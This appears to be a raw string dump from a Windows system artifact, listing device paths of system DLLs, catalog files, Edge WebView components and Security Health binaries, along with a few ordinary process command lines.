\Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\System32\wincorlib.dll \Device\HarddiskVolume3\Windows\System32\AppContracts.dll \Device\HarddiskVolume3\Windows\SysWOW64\WsmRes.dll \Device\HarddiskVolume3\Windows\SysWOW64\WsmRes.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\WsmRes.dll \Device\HarddiskVolume3\Windows\SysWOW64\WsmRes.dll \Device\HarddiskVolume3\Windows\SysWOW64\WsmRes.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\logoncli.dll \Device\HarddiskVolume3\Windows\SysWOW64\logoncli.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\logoncli.dll \Device\HarddiskVolume3\Windows\SysWOW64\logoncli.dll \Device\HarddiskVolume3\Windows\SysWOW64\logoncli.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\System32\biwinrt.dll \Device\HarddiskVolume3\Windows\System32\AppContracts.dll \Device\HarddiskVolume3\Windows\System32\Windows.Shell.ServiceHostBuilder.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\wincorlib.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll e"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy ybrhi \Device\HarddiskVolume3\Windows\System32\icu.dll \Device\HarddiskVolume3\Windows\Globalization\ICU\icudtl.dat \Device\HarddiskVolume3\Windows\Globalization\ICU\icudtl.dat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\perfos.dll \Device\HarddiskVolume3\Windows\System32\pfclient.dll \Device\HarddiskVolume3\Windows\System32\perfdisk.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.LOG2 \Device\HarddiskVolume3\Windows\Globalization\ICU\timezoneTypes.res \Device\HarddiskVolume3\Windows\Globalization\ICU\timezoneTypes.res:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ICU\windowsZones.res \Device\HarddiskVolume3\Windows\Globalization\ICU\windowsZones.res:WofCompressedData \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui:WofCompressedData \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui:WofCompressedData \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\wldp.dll \Device\HarddiskVolume3\Windows\System32\wldp.dll \Device\HarddiskVolume3\Windows\System32\security.dll::$EA \Device\HarddiskVolume3\Windows\System32\secur32.dll \Device\HarddiskVolume3\Windows\System32\schannel.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Windows\System32\schedcli.dll \Device\HarddiskVolume3\Windows\System32\wkscli.dll \Device\HarddiskVolume3\Windows\System32\cscapi.dll \Device\HarddiskVolume3\Windows\System32\msrle32.dll \Device\HarddiskVolume3\Windows\System32\msrle32.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msrle32.dll \Device\HarddiskVolume3\Windows\System32\msadp32.acm \Device\HarddiskVolume3\Windows\System32\msadp32.acm:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msadp32.acm \Device\HarddiskVolume3\Windows\System32\msgsm32.acm:WofCompressedData \Device\HarddiskVolume3\Windows\System32\imaadp32.acm:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msg711.acm:WofCompressedData \Device\HarddiskVolume3\Windows\System32\iyuv_32.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msyuv.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msvidc32.dll \Device\HarddiskVolume3\Windows\System32\msvidc32.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msvidc32.dll \Device\HarddiskVolume3\Windows\System32\tsbyuv.dll \Device\HarddiskVolume3\Windows\System32\tsbyuv.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\l3codeca.acm \Device\HarddiskVolume3\Windows\System32\l3codeca.acm:WofCompressedData \Device\HarddiskVolume3\Windows\System32\l3codeca.acm \Device\HarddiskVolume3\Windows\System32\wbem\ntevt.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\wbem\ntevt.dll \Device\HarddiskVolume3\Windows\System32\wbem\ntevt.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\wevtapi.dll \Device\HarddiskVolume3\Windows\System32\provthrd.dll \Device\HarddiskVolume3\Windows\System32\provthrd.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\provthrd.dll \Device\HarddiskVolume3\Windows\System32\provthrd.dll \Device\HarddiskVolume3\Windows\System32\provthrd.dll::$EA \Device\HarddiskVolume3\Windows\System32\ws2_32.dll \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Parameters.evtx \Device\HarddiskVolume3\Windows\System32\winevt\Logs\State.evtx \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Store.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Store.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Store.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Store.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Store.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Store.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Store.dll::$EA \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe:WofCompressedData \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe:WofCompressedData \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Windows\System32\virtdisk.dll \Device\HarddiskVolume3\Windows\System32\virtdisk.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\virtdisk.dll \Device\HarddiskVolume3\Windows\System32\virtdisk.dll \Device\HarddiskVolume3\Windows\System32\virtdisk.dll::$EA \Device\HarddiskVolume3\Windows\System32\virtdisk.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\Windows\System32\smartscreen.exe:WofCompressedData eC:\Windows\System32\smartscreen.exe -Embedding \Device\HarddiskVolume3\Windows\System32\wtdsensor.dll \Device\HarddiskVolume3\Windows\System32\wtdsensor.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\sfc_os.dll \Device\HarddiskVolume3\Windows\System32\sfc_os.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\WinSxS\FileMaps \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll *sof \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\ws2_32.dll \Device\HarddiskVolume3\Windows\System32\smartscreen.dll \Device\HarddiskVolume3\Windows\System32\winhttp.dll \Device\HarddiskVolume3\Windows\System32\cryptsp.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\System32\nsi.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\msasn1.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\blob_storage \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Top Sites \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Top Sites-journal \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll \Device\HarddiskVolume3\Windows\System32\Windows.Management.Workplace.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthSSO.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthSSO.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\en-US\securityhealthsso.dll.mui \Device\HarddiskVolume3\Windows\System32\propsys.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\cookie_exporter.exe \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\BrowserMetrics\BrowserMetrics-699D5BFE-16B4.pma \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\BrowserMetrics \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\copilot_overlay_images_200_percent.pak \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\dual_engine_adapter_x64.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe:WofCompressedData \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe:WofCompressedData \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe:WofCompressedData \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Edge.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\EdgeWebView.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\elevation_service.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\eventlog_provider.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_helper.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\learning_tools.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\mscopilot.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge.dll.sig \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthCore.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthCore.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\SecurityHealthAgent.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthAgent.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll:WofCompressedData \Device\HarddiskVolume3\Program Files\Windows Defender\MpClient.dll \Device\HarddiskVolume3\Program Files\Windows Defender\MpClient.dll:WofCompressedData \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_proxy.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_pwa_launcher.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_wer.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msvcp140.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Security Health\Logs\SHS-02242026-090644-7-1ff-26100.1.amd64fre.ge_release.240331-1435.etl \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msvcp140_codecvt_ids.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\notification_helper.exe \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\onnxruntime.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ExtensionActivityComp ThreadPoolSingleThreadBackgroundBlocking6 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe\x64\av1decodermft_store.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0 \Device\HarddiskVolume3\Windows\System32\dxgi.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\onramp.dll \Device\HarddiskVolume3\Windows\System32\mfplat.dll )@V' \Device\HarddiskVolume3\Windows\System32\RTWorkQ.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\pwahelper.exe \Device\HarddiskVolume3\Windows\System32\dxgi.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.HEVCVideoExtension_2.4.39.0_x64__8wekyb3d8bbwe\x64\HEVCDECODER_STORE.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\show_third_party_software_licenses.bat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\ffmpeg.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vccorlib140.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vk_swiftshader_icd.json 